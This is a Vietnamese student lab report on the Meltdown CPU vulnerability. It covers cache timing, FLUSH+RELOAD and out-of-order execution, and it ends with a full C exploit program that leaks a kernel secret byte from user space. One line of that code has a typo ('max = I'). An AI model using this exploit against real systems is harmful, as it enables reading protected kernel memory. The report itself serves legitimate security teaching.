You are on page 1of 17

Task 1: reading from Cache versus from Memory

- Phần này chúng ta sẽ kiểm tra kết quả đọc dữ liệu từ Cache memory và main memory, so sánh
chúng có nhanh hay chậm hơn.

Figure 1:CacheTime.c

Ta tạo ra một mảng có kích thước 10*4096 vì kích thước của cache là 64bit nên ta sử dụng mảng
array[k*4096], đầu tiên ta gán các giá trị của array=1 tiếp theo là xóa các bộ nhớ trong cache để đảm
bảo dung lượng cho cuộc thử nghiện tiến ra dễ hàng. Đầu tiên ta truy cập và bộ nhớ của array[3*4096]
và array[7*4096] và dĩ nhiên giá trị này sẽ được lưu trong cache, sau đó ta thực hiện đo kết quả đọc từ
việc truy cập dữ liệu.
Như hình ở trên ta thấy mảng thứ 3 và 7 là nhanh nhất, cho thấy dữ liệu từ cache đọc lên sẽ nhanh hơn
từ main memory.

Task 2: Using Cache as Side Channel


- Từ ý tưởng trên ta phát triển hơn, ta có thể truy cập được giá trị của cache từ bên ngoài, nói
theo cách hoa mỹ là như thế, nhưng ở đây thực chất là ta có thể đoán một giá trị bí mật. Vì ở
phần trên ta đã biết rằng các giá trị ở cache sẽ đọc nhanh hơn. Vì thế nếu giá trị nào được đọc
nhành thì nó có thể được lưu trong cace
Figure 2:FlushReload.c
Ở đoạn code trên mục tiêu là ta sẽ phải đọc cho được giá trị bí mật của hàm victim(). Vì ở đây chỉ đọc 1
byte nên vấn đề này cũng không khó khăn mấy. Như ta đã biết thì ta chỉ có 256 kí tự là con người có thể
đọc được, nên từ ý tưởng đó ta sẽ dùng mảng array[256] để ảnh xạ giá trị secret. Nhưng điều này là
không được vì Cache sẽ thực hiện theo từ block chứ không theo byte. Để giải quyết vấn đề này thì ta liên
hệ với bài trên ta thực hiện array[k*4096]. Nhưng cái này lại sảy ra một vấn đề, vì khi ta dùng 4096 thì
nó sẽ có 2 phần tử mảng có thể truy cập vào (đối với Cache thông thường 64 Byte) việc này gây cản trở
cho việc đoán được dữ liệu đúng. Vì thế ta sẽ tăng kích thước lên array[k*4096 +k] (với k ta có thể tự
chọn cho phù hợp). Vì ở phần task 1 ta đo được thời gian truy xuất tới cache trung bình là 80 vì thế nếu
phần tử mảng nào truy cập với thời gian nhanh hơn thì nó sẽ là giá trị ta cần tìm.

Figure 3:Tìm được giá trị secret

Task 3-5 Preparation for the Meltdown attack


- Trong hầu hết tất cả hệ điều hành thì cô lập bộ nhớ là chính sách bảo mật nền tảng. Kernel
menory không được phép truy cập vào không gian người dùng. Điều này có được là do bit giám
sát thực hiện, nó xác định xem bộ nhớ của kernel có thể truy cập hay không. Bit này được tạo ra
khi CPU đi vào kernel space và nó sẽ xóa khi nó thoát khỏi không gian người dùng. Với việc cài
đặt này kernel memory có thể an toàn ánh xạ không gian địa chỉ của tất cả các process, vì thế
bảng truy suất bộ nhớ này không cần thay đổi kể cả khi người dùng lừa kernel. Tuy nhiên quy
trình này có thể bị phá vỡ bởi Meltdown attack. Cho phép người dùng không có quyên thực hiện
vẫn có thể đọc được

Task 3: Place Secret Data in Kernel Space


- Để việc tấn công đơn giản hơn ta thực hiện lưu giá trị bí mật của mình vào kernel và lưu lại địa
chỉ của giá trị đó.
o Để thực hiện việc này ta dùng kernel module lưu giá trị bí mật. Điều này sẽ bổ sung vào
đoạn code bên dưới
Figure 4: Meldownkernel.c

- Ở đoạn code thứ 2 ta đã lưu lại giá trị của địa chỉ vì thế ta dùng nó để in ra địa chỉ cần tìm.
 Thực hiện các bước như sau:
Figure 5: Địa chỉ của Secret

Task 4: Access Kernel Memory from User Space


- Ta đã có được địa chỉ từ task trước. Liệu từ địa chỉ này ta có thể đọc được giá trị của nó hay
không?

Figure 6:Task4.c

- Ta thực hiện đoạn code trên để thực hiện đọc giá trị từ địa chỉ đã có được

Figure 7:Không truy cập được

- Dĩ nhiên là không được vì ta không truy cập được vì cơ chế nói ở trên

Task 5: Handle Error/Exception in C

- Ở task trước ta đã bị gặp sự cố khi thực hiện truy cập, vậy ta có thể là gì để khác phục nó? Khi ta
truy cập vào vùng nhớ cấm thì SIGSEGV signal sẽ được tăng lên, nếu chương trình của chúng ta
không giải quyết cái này thì hệ điều hành sẽ làm và chương trình của chúng ta cũng chấm dứt.
- Vậy ra sẽ giải quyết việc này như thế nào? Để giải quyết chúng ta xử lý tín hiệu trong chương
trình và nắm bắt các ngoại lệ đó bởi catastrophic events.

Figure 8:ExceptionHandling.c

Đầu tiên ta thiết lập sử lí tín hiệu: ta đăng ký một trương trình sử lý ở line 2 và khi SIGSEGV tăng lên, thì
hàm catch_segv() được gọi lên

Thiết lập trạm kiểm xoát: sau khi sử lý ngoại lệ xong, thì nó phải cho chương trình chạy tiếp. vì vậy ta nên
thiết lập trạm kiểm soát trước. Để làm được điều này ta dùng sigsetjmp(jbuf,1) ở dòng tiếp theo. Để lưu
vào trong ngăn xếp in jbuf.

Quay chở lại trạm kiểm soát: khi sigsejmp(jbuf,1) được gọi, jbuf sẽ lưu lại chương trình và chả lại cho
sigsetjmp(), như chương trình chả lại này là chương trình thứ hai (1 là của chúng ta đang thực hiện). Vì
vậy sau khi giải quyết được ta sẽ tiếp tục được thực hiện từ việc rẽ nhánh
Kích hoạt ngoại lệ: ở line 4 ta kích hoạt ngoại lệ do vi phạm quyền nên chương trình không đúng sẽ bị
hủy
 Đúng như kết quả mong đợi ta đã xử lý được ngoại lệ.

Task6 Out-of-Order Execution by CPU


- Ở task trên ta biết được là khi ta cố gắng đọc dữ liệu từ bộ nhớ kernel, thì chương trình sẽ bị
ngắt vì một ngoại lệ sẽ được bật lên và sẽ chấm dứt việc đọc dữ liệu của ta. Ta có đoạn code
như sau

o Đoạn code thứ ba đã truy xuất vào bộ nhớ của kernel và điều này làm cho ngoại lệ được
bật lên đoạn code sẽ không thực thi, và giá trị của number lúc này vẫn bằng 0
- Thông thường thi các đoan code chạy theo xu hướng trên là từng dòng một. Tuy nhiên kiến trúc
của CPU không như vậy. CPU là một bộ máy rất tham lam và mục đích của mọi người tạo ra nó là
“ thực thi nhiều nhất có thể và không được nghỉ”. Ta quay về với đoạn code trên, ở dòng thứ 3,
kernel_data có truy xuất tới địa chỉ cấm (kernel_address), ví dụ như bộ nhớ này đang ở cache thì
nó load lên rất dễ và kiểm tra cũng rất dễ chỉ mất rất ít thời gian. Nhưng trong trường hợp nó
nằm ngoài cache, thì CPU phải đi đợi một khoảng thời gian truy xuất và xem xét nó có bị vi phạm
hay không thì nó khá mất thời gian, nên cách nhà sản xuất đã nghĩ ra một cách là thực thi một
lúc “một khối lệnh” (out-of-order execution) cho dù đúng hay sai thì vẫn thực thi. Như vậy nếu
theo cách này thì dòng số 4 của ta vẫn được thực hiện nhưng chỉ không hiện nên màn hình thôi.

- Các hãng làm CPU đã phạm phải sai lầm khi thiết kế ra out-of-order execution. Để tiết kiệm thời
gian và tốc độ của CPU họ đã quên đi việc xóa bộ nhớ từ cache. Các phép tính toán ở trên cho
dù đúng hay sai cũng đều lưu vào cache. Điều này là một sai sót rất lớn, vì dữ liệu ở cache ta có
thể sử dụng kĩ thuật side-channel ở task1 và task2 để đọc dữ liệu.
- Vì ta đã biết được hoạt động của out-of-order, ở đoạn code trên Line 1 sẽ dẫn tới exception,
nhưng vì hoạt động của out-of-order thì line 2 vẫn được thực thi nhưng kết quả sẽ bị loại bỏ, vì
nó đã được thực thi nên array[7*4096+DELTA] sẽ được lưu vào cache. Ta sử dụng side-channel
để đọc dữ liệu.

- Figure 9:MeltdownExperiment.c

Task7: The Basic Meltdown Attack


- Cơ chế out-of-order tạo cho ta cơ hội để đọc được dữ liệu từ kernel memory. Từ đó ta có thể
tiến xa hơn và đánh cắp các thông tin quan trọng. Ở task này ta sẽ làm điều đó, đánh cắp thông
tin bí mật từ kernel
Task 7.1 A Native Approach
- Ở task trên ta đã tìm được array[7 * 4096 + DELTA] từ cache. Mặc dù đã lấy được dữ liệu đó,
nhưng nó lại không có giá trị. Nếu thay vì lấy array[7 * 4096 + DELTA] thành array[secret * 4096
+ DELTA] thì hay có giá trị hơn. Ta sử dụng kĩ thuật FLUSH+RELOAD để làm tìm ra array[i * 4096
+ DELTA] với i = 0,….,255 nếu ta tìm được array[k * 4096 + DELTA] từ cache thì coi nhưng là tìm
được giá trị của kernel.
- Ta sử lại một số thông số từ file MeldownExperiment.c
o Đặt giá trị secret tùy thích.

o Dùng hàm victim để lưu vào kernel.

- Ta thực hiện tìm kiếm giá trị đó


Task 7.2 Improve the Attack by Getting the Secret Data Cached.
Ở phần này ta sẽ giúp cho cuộc tấn công sảy ra nhanh hơn và tỉ lệ thành công sẽ cao hơn

- Khi out-of-order execution tải dữ liệu từ kernel vào thanh ghi thì đồng thời lúc đó việc đảm bảo
an toàn cũng được thực hiện. Nếu dữ liệu tải chậm hơn việc kiểm tra thì việc tải dữ liệu này sẽ bị
ngắt ngay lập tức bời vì kiểm tra điều kiện bị sai. Nên rất có có thể việc tấn công của chúng ta
dẫn đến sai. Nhưng nếu dữ liệu của kernel được lưu ở cache thì việc tải dữ liệu sẽ nhanh hơn
nhiều, điều này giúp chúng ta lấy được thứ cần tìm vì việc tải dữ liệu của ta đã hoàn thành trước
khi kiểm tra.
- Vậy trong bài lab này ta sẽ lưu kernel sercet data vào cache trước khi thực hiện cuộc tấn công.

- Thêm đoạn code sau vào đoạn code của task7.1 và chạy.
 Như vậy việc này đã giúp cho cuộc tấn công xảy ra tốt đẹp hơn và tỉ lệnh thành công cao hơn
task 7.1

Task 7.3 Using Assembly Code to Trigger Meltdown


- Ở task trên, như ta đã thấy thì vẫn có trường hợp không thành công. Ở phần này ta giúo nó có tỉ
lệ cao hơn nữa.

- Đoạn code trên ở line một ta cho một vòng lặp 400 lần, trong đó tao thêm 0x141 vào thanh ghi
%eax, nhìn có vẻ đoạn code này không có nghĩa lý gì, theo như tôi tìm hiểu thì CPU nó có tính tự
học. Bình thường thì CPU có xu hướng dự đoán đúng hơn là sai. Đoạn code này sẽ lặp lại 400 lần
sai, để dạy cho CPU sẽ dự đoán về phía sai, và điều đó giúp ta thành công trong việc tấn công
hơn.
 Ta có thể thấy điều này diễn ra dễ dàng hơn khi gọi meltdown_asm() thay vì meltdown():

Task 8: Make the Attack More Practical.


- Mặc dù ta đã lấy được thông tin từ các task trước nhưng có khi ra đúng kết quả, khi ra sai. Để
giải quyết việc này ta sẽ tạo ra một chương trình giúp thống kê. Ý tưởng là tạo ra một mảng có
kích thước 256, mỗi phần tử chứa một giá trị bí mật. rồi chạy tấn công nhiều lần. Mỗi lần thực
thi lệnh thì sẽ trả ra một giá trị k là giá trị secret (giá trị này có thể sai). Ta lập ra bảng điểm
score[k] mỗi lần thành công thì cộng 1 điểm. Kí tự cao điểm nhất thì tỉ lệ đúng cao nhât.
Đoạn code trên giúp ta tìm 1 byte kí tự secret.

- Làm sao để tìm ra một lần 8 byte dữ liệu bí mật

Ta dùng đoạn code sau:

#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <emmintrin.h>
#include <x86intrin.h>

/*********************** Flush + Reload ************************/


uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024
void flushSideChannel()
{
int i;
// Write to array to bring it to RAM to prevent Copy-on-write
for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;
//flush the values of the array from cache
for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}
static int scores[256];
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 0; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD)
scores[i]++; /* if cache hit, add 1 for this value */
}
}
/*********************** Flush + Reload ************************/
void meltdown_asm(unsigned long kernel_data_addr)
{
char kernel_data = 0;
// Give eax register something to do
asm volatile(
".rept 400;"
"add $0x141, %%eax;"
".endr;"
:
:
: "eax"
);
// The following statement will cause an exception
kernel_data = *(char*)kernel_data_addr;
array[kernel_data * 4096 + DELTA] += 1;
}

// signal handler
static sigjmp_buf jbuf;
static void catch_segv()
{
siglongjmp(jbuf, 1);
}
int main()
{
int i, j, ret = 0;
// Register signal handler
signal(SIGSEGV, catch_segv);
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
memset(scores, 0, sizeof(scores));
flushSideChannel();
// Retry 1000 times on the same address.

for (i = 0; i < 1000; i++) {


ret = pread(fd, NULL, 0, 0);
if (ret < 0) {
perror("pread");
break;
}
// Flush the probing array
for (j = 0; j < 256; j++)
_mm_clflush(&array[j * 4096 + DELTA]);
if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xfb61b000); }
reloadSideChannelImproved();
}
// Find the index with the highest score.
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i]) max = I;
}
printf("The secret value is %d %c\n", max, max);
printf("The number of hits is %d\n", scores[max]);
return 0;
}
- Thực thi và được giá trị cần tìm

You might also like